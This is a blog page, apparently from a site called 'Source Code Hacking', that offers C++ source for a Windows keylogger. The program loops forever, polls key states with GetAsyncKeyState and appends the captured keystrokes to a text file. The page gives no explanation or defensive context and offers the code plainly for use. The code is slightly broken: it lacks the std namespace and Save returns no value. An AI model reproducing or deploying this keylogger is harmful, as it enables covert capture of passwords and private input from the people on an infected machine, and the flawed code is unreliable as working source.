You Are Here : Home » , » C++ keylogger

C++ keylogger



#include <tchar.h>
#include <windows.h>
#include <iostream>
#include <windows.h>
#include <winuser.h>
#include <fstream>

int Save(int out)
{
    ofstream fout("abc.txt",ios::app);
   if (out==9)
    fout<<"\nTAB\n";
   else if (out==32)
    fout<<' ';
   else if (out==13)
    fout<<'\n';
   else if (out==16)
    fout<<"\nSHIFT\n";
   else if (out>=48&&out<=59)
    fout<<out-48;
   else if (out>=65&&out<=90)
    fout<<char(tolower(out));
    fout.close();
}

int main()
{
    char i;
    while (true)
        for (i=8 ; i<190 ; i++)
            if (GetAsyncKeyState(i)==-32767)
                Save(i);
    return 0;
}

No comments:

Leave a Reply

Copyright © Source Code Hacking. Designed by Momizat Team. Powered to Blogger by SpicyTweaks.

Scroll to top